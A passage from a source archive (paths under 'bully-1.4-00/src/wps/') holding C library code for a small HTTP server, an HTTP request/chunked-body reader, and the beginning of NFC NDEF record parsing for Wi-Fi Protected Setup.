wpa_printf(MSG_DEBUG, "HTTP: Send failed: %s", strerror(errno)); } else if ((size_t) res < wpabuf_len(resp)) { wpa_printf(MSG_DEBUG, "HTTP: Sent only %d of %lu bytes", res, (unsigned long) wpabuf_len(resp)); /* TODO: add eloop handler for sending rest of the data */ } wpabuf_free(resp); } void http_request_send_and_deinit(struct http_request *req, struct wpabuf *resp) { http_request_send(req, resp); http_request_deinit(req); } enum httpread_hdr_type http_request_get_type(struct http_request *req) { return httpread_hdr_type_get(req->hread); } char * http_request_get_uri(struct http_request *req) { return httpread_uri_get(req->hread); } char * http_request_get_hdr(struct http_request *req) { return httpread_hdr_get(req->hread); } char * http_request_get_data(struct http_request *req) { return httpread_data_get(req->hread); } char * http_request_get_hdr_line(struct http_request *req, const char *tag) { return httpread_hdr_line_get(req->hread, tag); } struct sockaddr_in * http_request_get_cli_addr(struct http_request *req) { return &req->cli; } static void http_server_cb(int sd, void *eloop_ctx, void *sock_ctx) { struct sockaddr_in addr; socklen_t addr_len = sizeof(addr); struct http_server *srv = eloop_ctx; int conn; struct http_request *req; conn = accept(srv->fd, (struct sockaddr *) &addr, &addr_len); if (conn < 0) { wpa_printf(MSG_DEBUG, "HTTP: Failed to accept new connection: " "%s", strerror(errno)); return; } wpa_printf(MSG_DEBUG, "HTTP: Connection from %s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); req = http_request_init(srv, conn, &addr); if (req == NULL) { close(conn); return; } req->next = srv->requests; srv->requests = req; srv->request_count++; } struct http_server * http_server_init(struct in_addr *addr, int port, void (*cb)(void *ctx, struct http_request *req), void *cb_ctx) { struct sockaddr_in sin; struct http_server *srv; srv = os_zalloc(sizeof(*srv)); if (srv == NULL) return NULL; srv->cb = cb; srv->cb_ctx = cb_ctx; srv->fd = socket(AF_INET, SOCK_STREAM, 0); if (srv->fd < 0) goto fail; if (fcntl(srv->fd, F_SETFL, O_NONBLOCK) < 0) goto fail; if (port < 0) srv->port = 49152; else srv->port = port; os_memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = addr->s_addr; for (;;) { sin.sin_port = htons(srv->port); if (bind(srv->fd, (struct sockaddr *) &sin, sizeof(sin)) == 0) break; if (errno == EADDRINUSE) { /* search for unused port */ if (++srv->port == 65535 || port >= 0) goto fail; continue; } wpa_printf(MSG_DEBUG, "HTTP: Failed to bind server port %d: " "%s", srv->port, strerror(errno)); goto fail; } if (listen(srv->fd, 10 /* max backlog */) < 0) goto fail; if (fcntl(srv->fd, F_SETFL, O_NONBLOCK) < 0) goto fail; if (eloop_register_sock(srv->fd, EVENT_TYPE_READ, http_server_cb, srv, NULL)) goto fail; wpa_printf(MSG_DEBUG, "HTTP: Started server on %s:%d", inet_ntoa(*addr), srv->port); return srv; fail: http_server_deinit(srv); return NULL; } void http_server_deinit(struct http_server *srv) { if (srv == NULL) return; if (srv->fd >= 0) { eloop_unregister_sock(srv->fd, EVENT_TYPE_READ); close(srv->fd); } http_request_free_all(srv->requests); os_free(srv); } int http_server_get_port(struct http_server *srv) { return srv->port; } bully-1.4-00/src/wps/http_server.h000077500000000000000000000025541361530463600170600ustar00rootroot00000000000000/* * http_server - HTTP server * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef HTTP_SERVER_H #define HTTP_SERVER_H struct http_server; struct http_request; void http_request_deinit(struct http_request *req); void http_request_send(struct http_request *req, struct wpabuf *resp); void http_request_send_and_deinit(struct http_request *req, struct wpabuf *resp); enum httpread_hdr_type http_request_get_type(struct http_request *req); char * http_request_get_uri(struct http_request *req); char * http_request_get_hdr(struct http_request *req); char * http_request_get_data(struct http_request *req); char * http_request_get_hdr_line(struct http_request *req, const char *tag); struct sockaddr_in * http_request_get_cli_addr(struct http_request *req); struct http_server * http_server_init(struct in_addr *addr, int port, void (*cb)(void *ctx, struct http_request *req), void *cb_ctx); void http_server_deinit(struct http_server *srv); int http_server_get_port(struct http_server *srv); #endif /* HTTP_SERVER_H */ bully-1.4-00/src/wps/httpread.c000077500000000000000000000554261361530463600163270ustar00rootroot00000000000000/* * httpread - Manage reading file(s) from HTTP/TCP socket * Author: Ted Merrill * Copyright 2008 Atheros Communications * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * The files are buffered via internal callbacks from eloop, then presented to * an application callback routine when completely read into memory. May also * be used if no file is expected but just to get the header, including HTTP * replies (e.g. HTTP/1.1 200 OK etc.). * * This does not attempt to be an optimally efficient implementation, but does * attempt to be of reasonably small size and memory consumption; assuming that * only small files are to be read. A maximum file size is provided by * application and enforced. * * It is assumed that the application does not expect any of the following: * -- transfer encoding other than chunked * -- trailer fields * It is assumed that, even if the other side requested that the connection be * kept open, that we will close it (thus HTTP messages sent by application * should have the connection closed field); this is allowed by HTTP/1.1 and * simplifies things for us. * * Other limitations: * -- HTTP header may not exceed a hard-coded size. * * Notes: * This code would be massively simpler without some of the new features of * HTTP/1.1, especially chunked data. */ #include "includes.h" #include "common.h" #include "eloop.h" #include "httpread.h" /* Tunable parameters */ #define HTTPREAD_READBUF_SIZE 1024 /* read in chunks of this size */ #define HTTPREAD_HEADER_MAX_SIZE 4096 /* max allowed for headers */ #define HTTPREAD_BODYBUF_DELTA 4096 /* increase allocation by this */ #if 0 /* httpread_debug -- set this global variable > 0 e.g. from debugger * to enable debugs (larger numbers for more debugs) * Make this a #define of 0 to eliminate the debugging code. */ int httpread_debug = 99; #else #define httpread_debug 0 /* eliminates even the debugging code */ #endif /* control instance -- actual definition (opaque to application) */ struct httpread { /* information from creation */ int sd; /* descriptor of TCP socket to read from */ void (*cb)(struct httpread *handle, void *cookie, enum httpread_event e); /* call on event */ void *cookie; /* pass to callback */ int max_bytes; /* maximum file size else abort it */ int timeout_seconds; /* 0 or total duration timeout period */ /* dynamically used information follows */ int sd_registered; /* nonzero if we need to unregister socket */ int to_registered; /* nonzero if we need to unregister timeout */ int got_hdr; /* nonzero when header is finalized */ char hdr[HTTPREAD_HEADER_MAX_SIZE+1]; /* headers stored here */ int hdr_nbytes; enum httpread_hdr_type hdr_type; int version; /* 1 if we've seen 1.1 */ int reply_code; /* for type REPLY, e.g. 200 for HTTP/1.1 200 OK */ int got_content_length; /* true if we know content length for sure */ int content_length; /* body length, iff got_content_length */ int chunked; /* nonzero for chunked data */ char *uri; int got_body; /* nonzero when body is finalized */ char *body; int body_nbytes; int body_alloc_nbytes; /* amount allocated */ int got_file; /* here when we are done */ /* The following apply if data is chunked: */ int in_chunk_data; /* 0=in/at header, 1=in the data or tail*/ int chunk_start; /* offset in body of chunk hdr or data */ int chunk_size; /* data of chunk (not hdr or ending CRLF)*/ int in_trailer; /* in header fields after data (chunked only)*/ enum trailer_state { trailer_line_begin = 0, trailer_empty_cr, /* empty line + CR */ trailer_nonempty, trailer_nonempty_cr, } trailer_state; }; /* Check words for equality, where words consist of graphical characters * delimited by whitespace * Returns nonzero if "equal" doing case insensitive comparison. */ static int word_eq(char *s1, char *s2) { int c1; int c2; int end1 = 0; int end2 = 0; for (;;) { c1 = *s1++; c2 = *s2++; if (isalpha(c1) && isupper(c1)) c1 = tolower(c1); if (isalpha(c2) && isupper(c2)) c2 = tolower(c2); end1 = !isgraph(c1); end2 = !isgraph(c2); if (end1 || end2 || c1 != c2) break; } return end1 && end2; /* reached end of both words? */ } /* convert hex to binary * Requires that c have been previously tested true with isxdigit(). */ static int hex_value(int c) { if (isdigit(c)) return c - '0'; if (islower(c)) return 10 + c - 'a'; return 10 + c - 'A'; } static void httpread_timeout_handler(void *eloop_data, void *user_ctx); /* httpread_destroy -- if h is non-NULL, clean up * This must eventually be called by the application following * call of the application's callback and may be called * earlier if desired. */ void httpread_destroy(struct httpread *h) { if (httpread_debug >= 10) wpa_printf(MSG_DEBUG, "ENTER httpread_destroy(%p)", h); if (!h) return; if (h->to_registered) eloop_cancel_timeout(httpread_timeout_handler, NULL, h); h->to_registered = 0; if (h->sd_registered) eloop_unregister_sock(h->sd, EVENT_TYPE_READ); h->sd_registered = 0; os_free(h->body); os_free(h->uri); os_memset(h, 0, sizeof(*h)); /* aid debugging */ h->sd = -1; /* aid debugging */ os_free(h); } /* httpread_timeout_handler -- called on excessive total duration */ static void httpread_timeout_handler(void *eloop_data, void *user_ctx) { struct httpread *h = user_ctx; wpa_printf(MSG_DEBUG, "httpread timeout (%p)", h); h->to_registered = 0; /* is self-cancelling */ (*h->cb)(h, h->cookie, HTTPREAD_EVENT_TIMEOUT); } /* Analyze options only so far as is needed to correctly obtain the file. * The application can look at the raw header to find other options. */ static int httpread_hdr_option_analyze( struct httpread *h, char *hbp /* pointer to current line in header buffer */ ) { if (word_eq(hbp, "CONTENT-LENGTH:")) { while (isgraph(*hbp)) hbp++; while (*hbp == ' ' || *hbp == '\t') hbp++; if (!isdigit(*hbp)) return -1; h->content_length = atol(hbp); h->got_content_length = 1; return 0; } if (word_eq(hbp, "TRANSFER_ENCODING:") || word_eq(hbp, "TRANSFER-ENCODING:")) { while (isgraph(*hbp)) hbp++; while (*hbp == ' ' || *hbp == '\t') hbp++; /* There should (?) be no encodings of interest * other than chunked... */ if (word_eq(hbp, "CHUNKED")) { h->chunked = 1; h->in_chunk_data = 0; /* ignore possible ; */ } return 0; } /* skip anything we don't know, which is a lot */ return 0; } static int httpread_hdr_analyze(struct httpread *h) { char *hbp = h->hdr; /* pointer into h->hdr */ int standard_first_line = 1; /* First line is special */ h->hdr_type = HTTPREAD_HDR_TYPE_UNKNOWN; if (!isgraph(*hbp)) goto bad; if (os_strncmp(hbp, "HTTP/", 5) == 0) { h->hdr_type = HTTPREAD_HDR_TYPE_REPLY; standard_first_line = 0; hbp += 5; if (hbp[0] == '1' && hbp[1] == '.' && isdigit(hbp[2]) && hbp[2] != '0') h->version = 1; while (isgraph(*hbp)) hbp++; while (*hbp == ' ' || *hbp == '\t') hbp++; if (!isdigit(*hbp)) goto bad; h->reply_code = atol(hbp); } else if (word_eq(hbp, "GET")) h->hdr_type = HTTPREAD_HDR_TYPE_GET; else if (word_eq(hbp, "HEAD")) h->hdr_type = HTTPREAD_HDR_TYPE_HEAD; else if (word_eq(hbp, "POST")) h->hdr_type = HTTPREAD_HDR_TYPE_POST; else if (word_eq(hbp, "PUT")) h->hdr_type = HTTPREAD_HDR_TYPE_PUT; else if (word_eq(hbp, "DELETE")) h->hdr_type = HTTPREAD_HDR_TYPE_DELETE; else if (word_eq(hbp, "TRACE")) h->hdr_type = HTTPREAD_HDR_TYPE_TRACE; else if (word_eq(hbp, "CONNECT")) h->hdr_type = HTTPREAD_HDR_TYPE_CONNECT; else if (word_eq(hbp, "NOTIFY")) h->hdr_type = HTTPREAD_HDR_TYPE_NOTIFY; else if (word_eq(hbp, "M-SEARCH")) h->hdr_type = HTTPREAD_HDR_TYPE_M_SEARCH; else if (word_eq(hbp, "M-POST")) h->hdr_type = HTTPREAD_HDR_TYPE_M_POST; else if (word_eq(hbp, "SUBSCRIBE")) h->hdr_type = HTTPREAD_HDR_TYPE_SUBSCRIBE; else if (word_eq(hbp, "UNSUBSCRIBE")) h->hdr_type = HTTPREAD_HDR_TYPE_UNSUBSCRIBE; else { } if (standard_first_line) { char *rawuri; char *uri; /* skip type */ while (isgraph(*hbp)) hbp++; while (*hbp == ' ' || *hbp == '\t') hbp++; /* parse uri. * Find length, allocate memory for translated * copy, then translate by changing % * into represented value. */ rawuri = hbp; while (isgraph(*hbp)) hbp++; h->uri = os_malloc((hbp - rawuri) + 1); if (h->uri == NULL) goto bad; uri = h->uri; while (rawuri < hbp) { int c = *rawuri; if (c == '%' && isxdigit(rawuri[1]) && isxdigit(rawuri[2])) { *uri++ = (hex_value(rawuri[1]) << 4) | hex_value(rawuri[2]); rawuri += 3; } else { *uri++ = c; rawuri++; } } *uri = 0; /* null terminate */ while (isgraph(*hbp)) hbp++; while (*hbp == ' ' || *hbp == '\t') hbp++; /* get version */ if (0 == strncmp(hbp, "HTTP/", 5)) { hbp += 5; if (hbp[0] == '1' && hbp[1] == '.' && isdigit(hbp[2]) && hbp[2] != '0') h->version = 1; } } /* skip rest of line */ while (*hbp) if (*hbp++ == '\n') break; /* Remainder of lines are options, in any order; * or empty line to terminate */ for (;;) { /* Empty line to terminate */ if (hbp[0] == '\n' || (hbp[0] == '\r' && hbp[1] == '\n')) break; if (!isgraph(*hbp)) goto bad; if (httpread_hdr_option_analyze(h, hbp)) goto bad; /* skip line */ while (*hbp) if (*hbp++ == '\n') break; } /* chunked overrides content-length always */ if (h->chunked) h->got_content_length = 0; /* For some types, we should not try to read a body * This is in addition to the application determining * that we should not read a body. */ switch (h->hdr_type) { case HTTPREAD_HDR_TYPE_REPLY: /* Some codes can have a body and some not. * For now, just assume that any other than 200 * do not... */ if (h->reply_code != 200) h->max_bytes = 0; break; case HTTPREAD_HDR_TYPE_GET: case HTTPREAD_HDR_TYPE_HEAD: /* in practice it appears that it is assumed * that GETs have a body length of 0... ? */ if (h->chunked == 0 && h->got_content_length == 0) h->max_bytes = 0; break; case HTTPREAD_HDR_TYPE_POST: case HTTPREAD_HDR_TYPE_PUT: case HTTPREAD_HDR_TYPE_DELETE: case HTTPREAD_HDR_TYPE_TRACE: case HTTPREAD_HDR_TYPE_CONNECT: case HTTPREAD_HDR_TYPE_NOTIFY: case HTTPREAD_HDR_TYPE_M_SEARCH: case HTTPREAD_HDR_TYPE_M_POST: case HTTPREAD_HDR_TYPE_SUBSCRIBE: case HTTPREAD_HDR_TYPE_UNSUBSCRIBE: default: break; } return 0; bad: /* Error */ return -1; } /* httpread_read_handler -- called when socket ready to read * * Note: any extra data we read past end of transmitted file is ignored; * if we were to support keeping connections open for multiple files then * this would have to be addressed. */ static void httpread_read_handler(int sd, void *eloop_ctx, void *sock_ctx) { struct httpread *h = sock_ctx; int nread; char *rbp; /* pointer into read buffer */ char *hbp; /* pointer into header buffer */ char *bbp; /* pointer into body buffer */ char readbuf[HTTPREAD_READBUF_SIZE]; /* temp use to read into */ if (httpread_debug >= 20) wpa_printf(MSG_DEBUG, "ENTER httpread_read_handler(%p)", h); /* read some at a time, then search for the interal * boundaries between header and data and etc. */ nread = read(h->sd, readbuf, sizeof(readbuf)); if (nread < 0) goto bad; if (nread == 0) { /* end of transmission... this may be normal * or may be an error... in some cases we can't * tell which so we must assume it is normal then. */ if (!h->got_hdr) { /* Must at least have completed header */ wpa_printf(MSG_DEBUG, "httpread premature eof(%p)", h); goto bad; } if (h->chunked || h->got_content_length) { /* Premature EOF; e.g. dropped connection */ wpa_printf(MSG_DEBUG, "httpread premature eof(%p) %d/%d", h, h->body_nbytes, h->content_length); goto bad; } /* No explicit length, hopefully we have all the data * although dropped connections can cause false * end */ if (httpread_debug >= 10) wpa_printf(MSG_DEBUG, "httpread ok eof(%p)", h); h->got_body = 1; goto got_file; } rbp = readbuf; /* Header consists of text lines (terminated by both CR and LF) * and an empty line (CR LF only). */ if (!h->got_hdr) { hbp = h->hdr + h->hdr_nbytes; /* add to headers until: * -- we run out of data in read buffer * -- or, we run out of header buffer room * -- or, we get double CRLF in headers */ for (;;) { if (nread == 0) goto get_more; if (h->hdr_nbytes == HTTPREAD_HEADER_MAX_SIZE) { goto bad; } *hbp++ = *rbp++; nread--; h->hdr_nbytes++; if (h->hdr_nbytes >= 4 && hbp[-1] == '\n' && hbp[-2] == '\r' && hbp[-3] == '\n' && hbp[-4] == '\r' ) { h->got_hdr = 1; *hbp = 0; /* null terminate */ break; } } /* here we've just finished reading the header */ if (httpread_hdr_analyze(h)) { wpa_printf(MSG_DEBUG, "httpread bad hdr(%p)", h); goto bad; } if (h->max_bytes == 0) { if (httpread_debug >= 10) wpa_printf(MSG_DEBUG, "httpread no body hdr end(%p)", h); goto got_file; } if (h->got_content_length && h->content_length == 0) { if (httpread_debug >= 10) wpa_printf(MSG_DEBUG, "httpread zero content length(%p)", h); goto got_file; } } /* Certain types of requests never have data and so * must be specially recognized. */ if (!os_strncasecmp(h->hdr, "SUBSCRIBE", 9) || !os_strncasecmp(h->hdr, "UNSUBSCRIBE", 11) || !os_strncasecmp(h->hdr, "HEAD", 4) || !os_strncasecmp(h->hdr, "GET", 3)) { if (!h->got_body) { if (httpread_debug >= 10) wpa_printf(MSG_DEBUG, "httpread NO BODY for sp. type"); } h->got_body = 1; goto got_file; } /* Data can be just plain binary data, or if "chunked" * consists of chunks each with a header, ending with * an ending header. */ if (nread == 0) goto get_more; if (!h->got_body) { /* Here to get (more of) body */ /* ensure we have enough room for worst case for body * plus a null termination character */ if (h->body_alloc_nbytes < (h->body_nbytes + nread + 1)) { char *new_body; int new_alloc_nbytes; if (h->body_nbytes >= h->max_bytes) goto bad; new_alloc_nbytes = h->body_alloc_nbytes + HTTPREAD_BODYBUF_DELTA; /* For content-length case, the first time * through we allocate the whole amount * we need. */ if (h->got_content_length && new_alloc_nbytes < (h->content_length + 1)) new_alloc_nbytes = h->content_length + 1; if ((new_body = os_realloc(h->body, new_alloc_nbytes)) == NULL) goto bad; h->body = new_body; h->body_alloc_nbytes = new_alloc_nbytes; } /* add bytes */ bbp = h->body + h->body_nbytes; for (;;) { int ncopy; /* See if we need to stop */ if (h->chunked && h->in_chunk_data == 0) { /* in chunk header */ char *cbp = h->body + h->chunk_start; if (bbp-cbp >= 2 && bbp[-2] == '\r' && bbp[-1] == '\n') { /* end of chunk hdr line */ /* hdr line consists solely * of a hex numeral and CFLF */ if (!isxdigit(*cbp)) goto bad; h->chunk_size = strtoul(cbp, NULL, 16); /* throw away chunk header * so we have only real data */ h->body_nbytes = h->chunk_start; bbp = cbp; if (h->chunk_size == 0) { /* end of chunking */ /* trailer follows */ h->in_trailer = 1; if (httpread_debug >= 20) wpa_printf( MSG_DEBUG, "httpread end chunks(%p)", h); break; } h->in_chunk_data = 1; /* leave chunk_start alone */ } } else if (h->chunked) { /* in chunk data */ if ((h->body_nbytes - h->chunk_start) == (h->chunk_size + 2)) { /* end of chunk reached, * new chunk starts */ /* check chunk ended w/ CRLF * which we'll throw away */ if (bbp[-1] == '\n' && bbp[-2] == '\r') { } else goto bad; h->body_nbytes -= 2; bbp -= 2; h->chunk_start = h->body_nbytes; h->in_chunk_data = 0; h->chunk_size = 0; /* just in case */ } } else if (h->got_content_length && h->body_nbytes >= h->content_length) { h->got_body = 1; if (httpread_debug >= 10) wpa_printf( MSG_DEBUG, "httpread got content(%p)", h); goto got_file; } if (nread <= 0) break; /* Now transfer. Optimize using memcpy where we can. */ if (h->chunked && h->in_chunk_data) { /* copy up to remainder of chunk data * plus the required CR+LF at end */ ncopy = (h->chunk_start + h->chunk_size + 2) - h->body_nbytes; } else if (h->chunked) { /*in chunk header -- don't optimize */ *bbp++ = *rbp++; nread--; h->body_nbytes++; continue; } else if (h->got_content_length) { ncopy = h->content_length - h->body_nbytes; } else { ncopy = nread; } /* Note: should never be 0 */ if (ncopy > nread) ncopy = nread; os_memcpy(bbp, rbp, ncopy); bbp += ncopy; h->body_nbytes += ncopy; rbp += ncopy; nread -= ncopy; } /* body copy loop */ } /* !got_body */ if (h->chunked && h->in_trailer) { /* If "chunked" then there is always a trailer, * consisting of zero or more non-empty lines * ending with CR LF and then an empty line w/ CR LF. * We do NOT support trailers except to skip them -- * this is supported (generally) by the http spec. */ bbp = h->body + h->body_nbytes; for (;;) { int c; if (nread <= 0) break; c = *rbp++; nread--; switch (h->trailer_state) { case trailer_line_begin: if (c == '\r') h->trailer_state = trailer_empty_cr; else h->trailer_state = trailer_nonempty; break; case trailer_empty_cr: /* end empty line */ if (c == '\n') { h->trailer_state = trailer_line_begin; h->in_trailer = 0; if (httpread_debug >= 10) wpa_printf( MSG_DEBUG, "httpread got content(%p)", h); h->got_body = 1; goto got_file; } h->trailer_state = trailer_nonempty; break; case trailer_nonempty: if (c == '\r') h->trailer_state = trailer_nonempty_cr; break; case trailer_nonempty_cr: if (c == '\n') h->trailer_state = trailer_line_begin; else h->trailer_state = trailer_nonempty; break; } } } goto get_more; bad: /* Error */ wpa_printf(MSG_DEBUG, "httpread read/parse failure (%p)", h); (*h->cb)(h, h->cookie, HTTPREAD_EVENT_ERROR); return; get_more: return; got_file: if (httpread_debug >= 10) wpa_printf(MSG_DEBUG, "httpread got file %d bytes type %d", h->body_nbytes, h->hdr_type); /* Null terminate for convenience of some applications */ if (h->body) h->body[h->body_nbytes] = 0; /* null terminate */ h->got_file = 1; /* Assume that we do NOT support keeping connection alive, * and just in case somehow we don't get destroyed right away, * unregister now. */ if (h->sd_registered) eloop_unregister_sock(h->sd, EVENT_TYPE_READ); h->sd_registered = 0; /* The application can destroy us whenever they feel like... * cancel timeout. */ if (h->to_registered) eloop_cancel_timeout(httpread_timeout_handler, NULL, h); h->to_registered = 0; (*h->cb)(h, h->cookie, HTTPREAD_EVENT_FILE_READY); } /* httpread_create -- start a new reading session making use of eloop. * The new instance will use the socket descriptor for reading (until * it gets a file and not after) but will not close the socket, even * when the instance is destroyed (the application must do that). * Return NULL on error. * * Provided that httpread_create successfully returns a handle, * the callback fnc is called to handle httpread_event events. * The caller should do destroy on any errors or unknown events. * * Pass max_bytes == 0 to not read body at all (required for e.g. * reply to HEAD request). */ struct httpread * httpread_create( int sd, /* descriptor of TCP socket to read from */ void (*cb)(struct httpread *handle, void *cookie, enum httpread_event e), /* call on event */ void *cookie, /* pass to callback */ int max_bytes, /* maximum body size else abort it */ int timeout_seconds /* 0; or total duration timeout period */ ) { struct httpread *h = NULL; h = os_zalloc(sizeof(*h)); if (h == NULL) goto fail; h->sd = sd; h->cb = cb; h->cookie = cookie; h->max_bytes = max_bytes; h->timeout_seconds = timeout_seconds; if (timeout_seconds > 0) { if (eloop_register_timeout(timeout_seconds, 0, httpread_timeout_handler, NULL, h)) { /* No way to recover (from malloc failure) */ goto fail; } h->to_registered = 1; } if (eloop_register_sock(sd, EVENT_TYPE_READ, httpread_read_handler, NULL, h)) { /* No way to recover (from malloc failure) */ goto fail; } h->sd_registered = 1; return h; fail: /* Error */ httpread_destroy(h); return NULL; } /* httpread_hdr_type_get -- When file is ready, returns header type. */ enum httpread_hdr_type httpread_hdr_type_get(struct httpread *h) { return h->hdr_type; } /* httpread_uri_get -- When file is ready, uri_get returns (translated) URI * or possibly NULL (which would be an error). */ char * httpread_uri_get(struct httpread *h) { return h->uri; } /* httpread_reply_code_get -- When reply is ready, returns reply code */ int httpread_reply_code_get(struct httpread *h) { return h->reply_code; } /* httpread_length_get -- When file is ready, returns file length. */ int httpread_length_get(struct httpread *h) { return h->body_nbytes; } /* httpread_data_get -- When file is ready, returns file content * with null byte appened. * Might return NULL in some error condition. */ void * httpread_data_get(struct httpread *h) { return h->body ? h->body : ""; } /* httpread_hdr_get -- When file is ready, returns header content * with null byte appended. * Might return NULL in some error condition. */ char * httpread_hdr_get(struct httpread *h) { return h->hdr; } /* httpread_hdr_line_get -- When file is ready, returns pointer * to line within header content matching the given tag * (after the tag itself and any spaces/tabs). * * The tag should end with a colon for reliable matching. * * If not found, returns NULL; */ char * httpread_hdr_line_get(struct httpread *h, const char *tag) { int tag_len = os_strlen(tag); char *hdr = h->hdr; hdr = os_strchr(hdr, '\n'); if (hdr == NULL) return NULL; hdr++; for (;;) { if (!os_strncasecmp(hdr, tag, tag_len)) { hdr += tag_len; while (*hdr == ' ' || *hdr == '\t') hdr++; return hdr; } hdr = os_strchr(hdr, '\n'); if (hdr == NULL) return NULL; hdr++; } } bully-1.4-00/src/wps/httpread.h000077500000000000000000000104051361530463600163200ustar00rootroot00000000000000/* * httpread - Manage reading file(s) from HTTP/TCP socket * Author: Ted Merrill * Copyright 2008 Atheros Communications * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef HTTPREAD_H #define HTTPREAD_H /* event types (passed to callback) */ enum httpread_event { HTTPREAD_EVENT_FILE_READY = 1, /* including reply ready */ HTTPREAD_EVENT_TIMEOUT = 2, HTTPREAD_EVENT_ERROR = 3 /* misc. error, esp malloc error */ }; /* header type detected * available to callback via call to httpread_reply_code_get() */ enum httpread_hdr_type { HTTPREAD_HDR_TYPE_UNKNOWN = 0, /* none of the following */ HTTPREAD_HDR_TYPE_REPLY = 1, /* hdr begins w/ HTTP/ */ HTTPREAD_HDR_TYPE_GET = 2, /* hdr begins with GET */ HTTPREAD_HDR_TYPE_HEAD = 3, /* hdr begins with HEAD */ HTTPREAD_HDR_TYPE_POST = 4, /* hdr begins with POST */ HTTPREAD_HDR_TYPE_PUT = 5, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_DELETE = 6, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_TRACE = 7, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_CONNECT = 8, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_NOTIFY = 9, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_M_SEARCH = 10, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_M_POST = 11, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_SUBSCRIBE = 12, /* hdr begins with ... */ HTTPREAD_HDR_TYPE_UNSUBSCRIBE = 13, /* hdr begins with ... */ HTTPREAD_N_HDR_TYPES /* keep last */ }; /* control instance -- opaque struct declaration */ struct httpread; /* httpread_destroy -- if h is non-NULL, clean up * This must eventually be called by the application following * call of the application's callback and may be called * earlier if desired. */ void httpread_destroy(struct httpread *h); /* httpread_create -- start a new reading session making use of eloop. * The new instance will use the socket descriptor for reading (until * it gets a file and not after) but will not close the socket, even * when the instance is destroyed (the application must do that). * Return NULL on error. * * Provided that httpread_create successfully returns a handle, * the callback fnc is called to handle httpread_event events. * The caller should do destroy on any errors or unknown events. * * Pass max_bytes == 0 to not read body at all (required for e.g. * reply to HEAD request). */ struct httpread * httpread_create( int sd, /* descriptor of TCP socket to read from */ void (*cb)(struct httpread *handle, void *cookie, enum httpread_event e), /* call on event */ void *cookie, /* pass to callback */ int max_bytes, /* maximum file size else abort it */ int timeout_seconds /* 0; or total duration timeout period */ ); /* httpread_hdr_type_get -- When file is ready, returns header type. */ enum httpread_hdr_type httpread_hdr_type_get(struct httpread *h); /* httpread_uri_get -- When file is ready, uri_get returns (translated) URI * or possibly NULL (which would be an error). */ char *httpread_uri_get(struct httpread *h); /* httpread_reply_code_get -- When reply is ready, returns reply code */ int httpread_reply_code_get(struct httpread *h); /* httpread_length_get -- When file is ready, returns file length. */ int httpread_length_get(struct httpread *h); /* httpread_data_get -- When file is ready, returns file content * with null byte appened. * Might return NULL in some error condition. */ void * httpread_data_get(struct httpread *h); /* httpread_hdr_get -- When file is ready, returns header content * with null byte appended. * Might return NULL in some error condition. */ char * httpread_hdr_get(struct httpread *h); /* httpread_hdr_line_get -- When file is ready, returns pointer * to line within header content matching the given tag * (after the tag itself and any spaces/tabs). * * The tag should end with a colon for reliable matching. * * If not found, returns NULL; */ char * httpread_hdr_line_get(struct httpread *h, const char *tag); #endif /* HTTPREAD_H */ bully-1.4-00/src/wps/ndef.c000077500000000000000000000102421361530463600154130ustar00rootroot00000000000000/* * NDEF(NFC Data Exchange Format) routines for Wi-Fi Protected Setup * Reference is "NFCForum-TS-NDEF_1.0 2006-07-24". * Copyright (c) 2009, Masashi Honma * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "wps/wps.h" #include "wps/wps_i.h" #define FLAG_MESSAGE_BEGIN (1 << 7) #define FLAG_MESSAGE_END (1 << 6) #define FLAG_CHUNK (1 << 5) #define FLAG_SHORT_RECORD (1 << 4) #define FLAG_ID_LENGTH_PRESENT (1 << 3) #define FLAG_TNF_RFC2046 (0x02) struct ndef_record { u8 *type; u8 *id; u8 *payload; u8 type_length; u8 id_length; u32 payload_length; u32 total_length; }; static char wifi_handover_type[] = "application/vnd.wfa.wsc"; static int ndef_parse_record(u8 *data, u32 size, struct ndef_record *record) { u8 *pos = data + 1; if (size < 2) return -1; record->type_length = *pos++; if (data[0] & FLAG_SHORT_RECORD) { if (size < 3) return -1; record->payload_length = *pos++; } else { if (size < 6) return -1; record->payload_length = ntohl(*(u32 *)pos); pos += sizeof(u32); } if (data[0] & FLAG_ID_LENGTH_PRESENT) { if ((int) size < pos - data + 1) return -1; record->id_length = *pos++; } else record->id_length = 0; record->type = record->type_length == 0 ? NULL : pos; pos += record->type_length; record->id = record->id_length == 0 ? NULL : pos; pos += record->id_length; record->payload = record->payload_length == 0 ? NULL : pos; pos += record->payload_length; record->total_length = pos - data; if (record->total_length > size) return -1; return 0; } static struct wpabuf * ndef_parse_records(struct wpabuf *buf, int (*filter)(struct ndef_record *)) { struct ndef_record record; int len = wpabuf_len(buf); u8 *data = wpabuf_mhead(buf); while (len > 0) { if (ndef_parse_record(data, len, &record) < 0) { wpa_printf(MSG_ERROR, "NDEF : Failed to parse"); return NULL; } if (filter == NULL || filter(&record)) return wpabuf_alloc_copy(record.payload, record.payload_length); data += record.total_length; len -= record.total_length; } wpa_printf(MSG_ERROR, "NDEF : Record not found"); return NULL; } static struct wpabuf * ndef_build_record(u8 flags, void *type, u8 type_length, void *id, u8 id_length, void *payload, u32 payload_length) { struct wpabuf *record; size_t total_len; int short_record; u8 local_flag; short_record = payload_length < 256 ? 1 : 0; total_len = 2; /* flag + type length */ /* payload length 